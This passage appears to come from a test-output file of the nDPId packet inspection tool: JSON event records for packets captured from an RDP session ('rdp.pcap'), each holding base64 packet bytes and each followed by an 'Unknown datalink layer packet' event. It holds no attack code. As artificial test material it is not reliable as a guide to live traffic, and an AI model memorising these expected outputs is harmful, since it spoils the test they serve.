+00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1806,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774188,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjUEAAfwYlBcCoAo6sEAK5DT3NDkehiQb5vSCWUBj26r0KAAAuObCpJzH1Xv9YPDEK8g6FyKAb1xz7NXezwLLQN\/aVAe65Mbt4t16Lj\/IRXGPjF9A9M0Q2WMBdQeAvsbJtpRjY+IRB8EVY8\/H9yeO9QLG2NfyQBgb1LaVxKK99zMqI\/SUwH\/b0EPQu7c5hLjaBv01JGkqG3lHa6EhRNnyxiDW8oYG73zxHq3bPl\/B\/OFcSu7Zew+QVBkKmok51K7rFmRBoxUOUGG\/IWyg8lEiZg3v3E1vRVdpfbubfQCEc0fD9FEXqr6qBI+gy+YoyUbOMAjoA5x7h1vbJeWKr877krcUsTk8jgjKcnCksC6FqeQN58zOg4UnM4BxhgEjzzwBMtbTXdWt4Y18ee5wVhGw1Q+zsWqs+hyLtYs2ZE8lE7jCCZTwqpPRNy5naSohpTaOaXmViwwF5qUfCTcCRiZ4AgM2saSA7oMIhXN2TozlxFDfWBEIzBESBrUnonjz7nwVmCbBpnnkwfonHYMS+mXH82aWzFFpQoS6PeO13V8BX"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1806,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1807,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774250,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoYqBUBAf9FY6AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1807,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1808,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774581,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jUUAAfwYmSsCoAo6sEAK5DT3NDkehioH5vSCWUBj26tnJAAAXAwMAMAAAAAAAAAJPkyjaowwC7e1cYVyFlCC\/cPG6JnxJ9lHLMKlOf+ZSIFCEj3xBJ7ZEjQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1808,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1809,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":774649,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoYq2UBAf\/lX7AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1809,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1810,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775103,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjUkAAfwYhhcCoAo6sEAK5DT3NDkehirb5vSCWUBD26n68AAAXAwMGbwAAAAAAAAJQLdTeUbaG7k64RqIa+umsoV\/39FQIJwjC6T2A8RNgh9qPXlqfWoXDAyhBMHZnFUIYS5R7rxAzJztlnYgdDcczXDbfw00n0EGsleE\/cguEsTZ6MNZbkzl3IF9PVn4eTIkc1cs2WyLZB3iH2eixKPrARGwSvy5ug+JJjr1cqyWLTQM7+hsW28HoV\/Bu20i1rx0PbCo1SUpsFAwVYw3XRiP\/UKN9p+YxCMGTEgDq+aaOu2YNHHznrwQJU+OFAdb+a6ZcAnvvOvWymGwLUcIKtYn\/wBcWRBLunjUIa0DN5BqidB1+6wlNwKT9BOh8eKE+kqI6TlvSU\/\/w+ctGyEoU9qYZx+8jkDnG8vwY3uGPLLsVu+UtrlrljFBJV6gcLHaOA9775GG54g6ZrdFk4EtDMyY4kshXwyGLsS6l+HJCe4O\/noGArzJqisy6kKzc5a2L8SlslbnU3IqyYpii5tY+CuWlMnCIgfg+nkzn8LHmpZvSVeufLUbvXR6Zj5nn44DHAaJbHBdo0dM9w+o6i5azMFOzGfHfeyiFmcJ0Vqr\/X2z6htz5owqqzUooQTLA3JBnCdLQoucDibspPoIVo6iKaM5j+0ZJ+nqgCmhSqB9hq6ojzDN3Oee9+06I1nRirWQjF+QvApoqBFPTWzunuPw0\/yoNV6QQWoswtdp96JUa\/9wTX4J+HLo3qrGCyRLwGBGZIH\/jo7to\/VrDs5JYPE4Hg3LVXF1sU3FyW6ZpsgdDpQdM+s+d52VjVsXlaKBb+4yWbov19l\/mgg5S2GwoaMdfdbutgo4mazJ8Z7qeHw58KW0inE8\/P+GJhvnI60NXE5b1w0hIE948z96XEvJfIw7YnXuxhVTNKPVH\/fjK79YebFh5LdINhXJ26bMZxjGGNaFI+Jl6RE2dou6LpaRbcdgwLeVjffLaO3igYPFdLRe6pzdjEVtOQRdiMpZywSRVQopzGDI+d0D24PN2e0fx14FD8eGV+vArYp0dRVfqFEf6QoJoq3sbUSc6U+mMOTZcB\/ZwdQneuVLAcmWCX5BY78wLm4jc3kt\/J9TK5FX198KT\/TLyUqqMCJM2Gb6TOH0HHFlKh+w2+5OcGwxtCHFdGTUlAy2AS\/2Q4+iYRw\/zFTOGL8Th1Blt00JUSwtHoRXAGil97eUAzCEqs4Q6zY8oUBGz7hFU1JGyVzg+ssGOgoqXZVfNYlUkiGD839H4suB9VJW7bwyCCzCNNDmXZAuQZEOm62ec73HJdeOq\/fuEvoqI8Eh6GwkGFU69cefVb+0AvppEGvv+zKLbiWXPeoAQyuSuSE4W6tt7gSrT4QFnDtne6lJeU\/EYBL+hjXCK080gQNOZhsmk+OaqfQGbkBJLae+\/RUArP1YvWQ9B23UTDEwOS89ES0sgZfmTdkWcBef5M8hw4pXrIvw\/ge7K27zpnsoMtzlSb7MEgllZ\/8wfl\/mR0Y48pUsO78Ob2AVRGGo\/kGInjVk7uTPzsIxUAPbJgbmVi3TzkfTRqd4xioTzFUL+hScDN0I0qxw2loZDKSeYEibkj2wC6G7W\/ou01b6\/i4W7g9J5DoFSuX+EIb0BtrPf\/r4TV26Md\/7FeQTA2bW9iaCkRUq86jkWrF3n1pTOMYcnTpQhCsQgVllwO\/NYnqqIjT\/jdVn5XTSkWY6HKpIQyXLvwbiONLr7YwWVMkD45jpb"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1810,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1811,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775146,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjU0AAfwYlAsCoAo6sEAK5DT3NDkehj6\/5vSCWUBj26kQKAAAujwrva4elYfc5AHkNJfsQuBmPhkrniUFciXhS5XxVU1d65xaHVjPKMM56k6wf\/c3N4L\/CgFoITzl1XgqnYTDdCeJL12uq8XxK0A0tPIYnxTiquY0ofvUdc6BYYFrylIB0LQsxXHwN\/hL06IVIEJerE6X87iF85RMosdLtkj9MvxLCDI+lw0Ni+gSxHIXItL5WC493POKksbL1qcCqFHy1+jQjA+xR1Tf1XXQ2yMNTqYzCXPZmik36nQnwZ0arPkkoGuenhc3OesAOo\/sveheU60k1F4yKCPtjqwuy9\/09v0hOoEPpKx2FaC4zWrxhXE2KumWf9xRx4U8aL9OawqCxbjSBydPl0L9p9eF+zrRpWtuiAa61Xfn4zYpW1GVrNgk+kYQQX0LCJRT8FMPilTuVmUaGXEXsrtHMv05KqxbMaTEPbiRZtvR1bgNw9a\/VQi4ZIwU1pdYJBctV7i3fkFM0tXrBHjv+vbGYZjapnX+VbS+wJoxn1OUM5yfe"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1811,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1812,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775182,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoZEqUBAfzE+5AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1812,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1813,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775396,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjVEAAfwYhg8CoAo6sEAK5DT3NDkehkSr5vSCWUBD26jkEAAAXAwMGbwAAAAAAAAJRf6uyZXA\/8hFPml07K86+zA9PPcOKL2ms8Puh0ZqbPsZs4Uqhbcq8U\/Cz0VVZcko72Sr1Ny1HDwy2Udcpm4+OLMqXmZO\/BUwN90eMDds2t2jNk8JExSKmSEUp3Jq4F1H5rsZL1dP5YaWnbKfivtcGGMsEunUjxCDlI4Qhrp4TxtJlgZZGVipCiYG7BBGRb5mo0bsG6kwiHoHT9xe8ewQF0v9d5f6Y8lBwDLcDPs0iyX8C0MyelyfAxKOLvEOD5GUa0v4+G3E3Di3PEl4xXzDaz6jUSz9BBZ2D+ocx5A6r5ynL9GLZBYfqkd1bPpuHEqaCB4+32Kp4DKMU3FyInJVguEZIhREQQWbTnUzkujDB\/iUw3heJKl5BcoOC2tFdixejEpDHDIj+grb2w3g19BYHSDDFQS44+8rO15b8EXRredjMknIgfRt+DyHClg9OXQEKAhcrL0OSYURMr5Ta42RYU1QhnECqwS8tDuhLpfh2F6PeSrjx9BeIC8Ikk+6IK+MzTLLHrv7frEGAjGbP5WKRrBDU+WmDQqvsZzwCWJCzqLTfjvUubyk+UNhA1ApGUgkVxS4g\/MujEb0q9baiPunhIbXnD9QCIctfGo56Uz\/JL78W\/KeaU6WOnPRYkLuRdZbEos9Qemu9laAdW\/Wqk1qTbeHRF0e\/MtVXXHMneT\/3GjIoa7mUKMpdWEMw4k7c8HMimmaAbx2mZJQV0ZxK3dIElxK3yy6X\/076ab+dShCewEvMdo969+QTe97KeySSuvoSEMWM9RDXpbhPYzov2\/F+tmZWC4ugtP6gu4mXsPQgWA0lxs03\/8mcJfNHwHb2enNMYI19a9J520X8MTYZ70CT6ZN3Qo0X9gfXt3njOqKnSw865IKazllCNc1WUIPdJxkClPgzQqI4ChQLekJjdymcncn5LO+\/2trTUd9rfWqiwiyz2Qiv82l94d9TH2mySd5KXqsIzezBijAr7NaDtd9gDhW6ecCjCxdw8FNjgfUr0Xijy261lsUdWtKWS7H+2GecSPkMHYkakRorezp1g1D9hQjZdDByijgZwVz90NTUNX4q74lgXTvU5nIq5q3mVsEAcPP6mbD6BdVsAgmzhaIpp3W\/SwlwzJwa69hX8YusWkKpk2TMX0DlrJ+DPS4sTDE3AqU4URuPfkzyoWld1qh2sUIk49EqIVaix4IP4ZKfZ7hfMlR9fLDOoH\/2wa38KMYJbLbLxXdgyIKOEFohN+Ob9375PfpexqUhKDd7OLUeqw8Y0BgJZhLcTnuSRaRhoWgMyz2z228M0xMUJEkcXHuY2F\/jxQNKU4FXI1Vz\/nrYpZzM\/Jcj9UWotxT7COnI8BDqHD+D+ZP6LmnO6dZlbGlxPD7c4sy8sL+NKtREad+Kc9WKxX4IYcuuVSKbzdQaM59MZAqH+eR0tD4yNP1b9Ce+FA2swhOKaULSvhcVXuw0L4JkfnGvZcBTdTUrYQt\/EPf0kMpY5bvzzVb4WLiy3QtnB5VkR6A32D8a2wv\/GAcM23sbFm\/g1Rps0vuwL7g7GBzzu4am2Ej93dW\/RcT\/zkN1wPFac9Mrk3+ke62ZGgykYlIxSKx4cgK7v4CBKP7MQn5g4fAELmFxaPrX554Zh90sBkqf+8MACWf57+3kHtSVGcWwTShyPqoAi1dcNY7mbiR0BebT2tN9rwtLtK3Q"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1813,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1814,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775425,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjVUAAfwYlAMCoAo6sEAK5DT3NDkehliP5vSCWUBj26vHRAABN5o0VjUARhdxqBAWJ2CGr4bMJBpvDZ4hKELVgTubkRUAPDYJH7j5iQwb3ikjYm9JcLzK9SHATeVR4isWtKpQCJhds57PYpCeEJtjOTX6ioP57DGUtfVX5b0qoShNPjmsJo3vZmpNtCSV4HXUPv8czc49LKI4jG1oRz8cB+NbNaJxIVrWbF8kKXersFjnl5\/0TJjn580py\/n3yQt+OL7ue3EnScoVRWkFYj0EDVVBW9jzwofbmSn1knsjLDf2kpuCvwpNzP69RLU8pV4XDYes59KadX9rgABx2HE0kUPQnCPPefcLH397BkWJIqxEAM0Z1\/IBaHu0Xe1bnOxfDnwpd0IqUxZRVp4cQaadPh7Rm0SY46Gqb2vvlKwhrHI6SSVP0C12iS87BZa4SLhsZ6hLMvRDAGb0uyWwMZRJwF4Af2JLomUaHwLPcPYvnlRS6hDMYBNl6Mb1qNNd2VMSo3ZileybN+Nlbua15AR5WpmF3jvJ9rth9IqlE9pll"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1814,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1815,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775460,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoZeeUBAfzElFAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1815,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1816,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":775962,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jVkAAfwYmRcCoAo6sEAK5DT3NDkehl575vSCWUBj26ozsAAAXAwMAMAAAAAAAAAJSD+QBh9WgAfMwQpr4YixEP0gKr2rCCbLt0HhiWardvwBmqsUrUcD58A=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1816,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1817,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":776062,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoZfTUBAf\/kjeAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1817,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1818,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":776830,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjV0AAfwYmecCoAo6sEAK5DT3NDkehl9P5vSEIUBD2eHLVAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1818,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1819,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":777208,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjWEAAfwYhf8CoAo6sEAK5DT3NDkehl9P5vSFFUBD2O30SAAAXAwMGbwAAAAAAAAJTkzKE4KWderl\/BHAFMGq9IgrBPnh\/UvymoUmBdlTkHDTAjpV6HkgddECBBkG+JZAecXI6RuxN\/8ASnfp3PObFQ+xGs8V0Eo8AMAMfuS8fxOvWxeQqEeiw5sPK8N98HtdAOhNgs2Dnv3eUWhFdnvlFmg3PvDV+Ukk+TO8miXLrSgztlZ9zeH0wu5vLRaHBKoMXx6\/rOL3r0PYTth\/l1432qXkMaQLiczs3zpZ5DVx31N\/T7eV7LutxEX4iUzDtOVaQz\/XKarzZ2W4h38+QLQe8\/+Zg912Ei2yWfaDgBZ\/zoPUXXdiIsrMNGFkGzFewxmwgBsyWmaGxgBktco3pFSr1SRoKpaX4ZHkY4R1kNy+gPXfJVJ+EjN+eiwuN8Rz7qsWC67sVWtJwYrYSPhl60\/h\/9zObl\/CKSUnnvmiEenCaOh7+oL+JT9ux8vgneoA83JOUmo5EWH2WhnGfKpP6U\/rp6O0g\/mNtXOwPRYfqUvLxUUazHzk9sdBADhetsQKhZh2kuJrW7UUyg8cLaZscTKmxT5BmW8aYja5fdkUhxZHKP6HEAl\/FqdvqxfSdSNv48oy76QCOAGktzPgHpN0YmVyLYYA+WSUH2Oda++GAGWcYddqCpExvZkpaLAhFywiKJtOe9marOyJRIBfW8rW+6k2WvTrrGEj1HBhiWv2\/w3\/6EZPQhZN9Bi4PTBTO9bpgiorMtEVpPuW0Db4saecHihvEL++LoRft8jsFxvwRyiibduU\/bfbrFC+BkN3m68f75X7Nc0mQUoZfb39pcCp3KeQ5x\/xuYDfVVNNRGuX1gfRbSKisoaIBVjh+r8Zgkc8CENSTH\/oIJEtgG5QAZdTtSSK2nVcpCYzND\/48PI1s52jhx7NTovCbph2dd8J1iezIUpiBowQWXfxuGSQMmIq7FPmcc+bpEC1IaTmZi\/vakFLWJWV7pa6R4rzZ17FFW6YV3JB84+VRHbFr1uX1jwcpdmjKxIIX3OvHiL9T5MPZc7R9tgRGYJfIEYd685nFZQRGPANn9g96UVg4WRWbmyg9IzqXi6kkeh7A5iYj2IM+yYbrflpv46gF6AAw\/RUC+kQGBgjTlSgUDf8pGlfrOiW9RpVLgZqO6MkJvjEZ9rx\/iXK\/9zEeu+N3woogkMfG5gct9EnCrcVaQrIroqnbOddscuuwHYD7uiqYtg4qc7dZskkpFUtsdjP\/Vs2J7N5Qgfb7\/GbDrg8f+boC9rCAoZa+lITOgGlwca3HURZRpQ\/F22ZK0GzTgPwFFAtX9mEiwJBukUk326rKCpTyIrT+4raLOPJ4YWVz+M5+Gn4jBAPMlg3kKhgz14ckLpGLQtl7dEE7vdAZMzCvUmFl6wNIvZfZT7UCLJ9U0\/OSkTE+rbyXGXLbsNFbxP06lZfNuPSLbWo7+3Q2vBEiQJyXSj2KmxQBe8hdYEn8c4YKXXPSGbJ8mHzr\/Uu8NWWqyCA9vkKvFMsUTt3WLEt6bLSyH5e4VISy4K3bLbEqz5Yx0OEK0E47sHSvFN6eyZhk0CkMu65lRHU4ZguD1j6zSvV8D+D0UJxtnBuJSBrVwIu9sZBnx7n8Dr8JT0ALJJZu+QgOM0SWfO13M088fubaC1uS9FRUDgpcEiHPJzZjWm5T5b8UtH6DLslNea0ljmG9cOPe0inbSby7vOUo2csKU2\/WFQo\/9xQL"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1819,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1820,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":777281,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjWUAAfwYk\/MCoAo6sEAK5DT3NDkehnMz5vSFFUBj2Oz0nAAAxLUCtW9PLSMONvhoHD15xMs773S+nFqFx3HyMSHfMGDhrv\/s5Tak8Nk+Rgzh3Q1A04rD3Y8yoorTuZ+jvhkFXFh8l8104QzYuZ7zzfhrasGhMPn66ajt33AuKKXgAb+jmlfbznwvPMFodGffgNRQp95iKxkipMzL4riPfrjnj0SvGgFihpeWAn7zn5n7kj5bakqhYSuC6uHXRSlv8Om2hNjy1BLUhG\/fL0X0OjnWzzBnvspBfb2s+nbKZH5QSYMpWTsvh0k5vvqGQyufwUmlO8\/qjm61BJravJJu8gYhQ\/jUvnmX1kMtu41h67Fzkoa66cDtCldgrV1iLO\/3qEg+3do2flsoaDFuNJIhuQ\/pNjHJrPvVVyvtv+6UihIJxEOWzLaBr0bAj29V6ihVVr6sDP\/MOnYRchQw6dcIXm3Zk8woGktxVd9DJa9INbhY9KvZg29K+4DsbDOVABP7\/aX\/0MQhjM56uXNziHaSej5SwIOssbNCcjb\/d9P+g"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1820,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1821,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":777328,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoZ5HUBAf9EJ0AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1821,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1822,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":778573,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm9IXpHoZ5HUBggAIW3AAAXAwMAROAIO32NJww4ybTgwpUiZ0Ay8Wu4WbLbsEKOBcnh8o5jlQbZQiOnmahbWssVYrTwsuv+tFnA8XdDBJNZMFwKo6lMyEul"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1822,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1823,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":778987,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjWkAAfwYhfcCoAo6sEAK5DT3NDkehnkf5vSFFUBD2O1HQAAAXAwMGbwAAAAAAAAJUOoeDtzNE4OY\/GAdn\/oS\/2u9faAYAhJmUBepVvevt+FQbiB5sb5qYZ+9tMHLFEC0nK17qSc9ZTYQ\/QiOkW1XQ02jKT5dSC481sfp80dbItlx4khSbCVxjUGbUGkqNz1CKeqTMKNz3hVVVD89qU4YFw2C4om+RTeMsCOddikZ\/DV1ZoQ5DyccbbAXQ+yfsFzr0JktaNlvOC3ypuuAVo4mNNs5Cgvww6K0ZyFP+0oXSAiqwWrcYSDBnim\/x31Ypirvx6HZ3qJ\/XAtveTIOPRx231THBY72EuF\/7nVqQKOW\/AApq4dW5eZwJQIxwVN94xOnRQrIbDJPOQK4ilZ0Ly\/jpegaZeMDhsTR\/vTbu0yHt2HMlitKS536V1ILNVSaWet3OPGVQky4jM79CA1G+rNvRj3j\/w2mfN3BzoOJO3Kaiy\/yzxcjwKPN5SLbAX0+NZPjdORk5Scb5t7CTUXPBSxa7sthi1sgGz6R5OvF8ZfPDjqLSSSg+2duku\/3uaI6n+mlEN5vhQRLm10xSHVYqzJW63Owgxdei9kAu66K3yf\/4\/\/aFtwhrwey993+AUQL70bDWj4iRSHCdH7j7GLXKzeykrEVq8nbg1wNs\/2y\/dQ79IpRoSHjekwMzm9sABJPcfjS4KA1TsvR0jrkU3VkW\/KSDF9YNiFKs6hLEAWxPSO15aHQuhH8RznxJJyLU2\/yT\/vB9F+YUlP02r0OzQyLiQFojXdl8VkV04QzdemcfcNWn6ZgZvvuq7C3tzt+K\/9kQlobs81wEGr2GesqqlpI3GTOC3zKQNdMQoE\/DoKqwHjjOCFC+1CegksI608oRxfPKe44IaK0UYe\/hxreWCIK7GkQhdJlWavcVZdalWNH3sk0TveTK7o2qoXiPzyVfcC7O5jAk7syVCqIysgJhKH6GQ1Fxe\/FfBoY5mJA67RPa6HOxKezrOcqA2ko22O3nbdJAFFUUlQzBkKBw5yWKgto58Wc6UmvDjf08KkHNSP\/RaAjgVniC50xQo1ufcmDxCcABzqrbDN84yrDJbLAtAAFgLdaf+WUaWmf5kjjtELlskFOQb2R5kBa7xHxLu05TsyG+PYn2J0kF+iZh4\/RxqjU9QsEY1uFfhCNCrJt406jXhkvycjzYNwr5FwQYaNJtOSQYaEOkmy24Gm1Nc5shNNE1FtvDCNMS1PRdYsyOgy7BgKEdDBYiOBFbsp0Gou6rtCdFVrzBYim9x5P1shplrkgmdp26m2bsmSYD2YAZ2NMFMFuqSXzs6dhfzyBmBGj5oHECXEt5CeTK4gCFEn+TSwiHOFm3I6OTAkxPZpgtglPk46ZSq2WafY6lJh8JBs7ix91QCYQoPPTitSerOJHA7gmKNfK6g6VCrJhKuGsX+XICbs9qaSyTI8C0HEYapbK7zOlYZa64AHNrCx0CSn4M4HoXAwbQZxFkn57hNaionTpyN3yEcKqz5KrDlN\/J4ex3WbG2thf2aj+H9u2dN1FiBK+cf7ekcaE3cnD6MFI8ReLngDuKxX+5LT8V8jw7o025IKbMEmKB6ZpBhv3FHLXgxvswW353wsTK3dL6bexB6JOxJnFIkfdVFbMEe\/RoITQCp0P7ebpswg8a7mIP7hiKOZj\/hvCztrQnBVhWLSnHTPR+jm89w3FBdJ7y85sWsQbajWml12tA2epLdy7Aza\/JA8DK"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1823,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 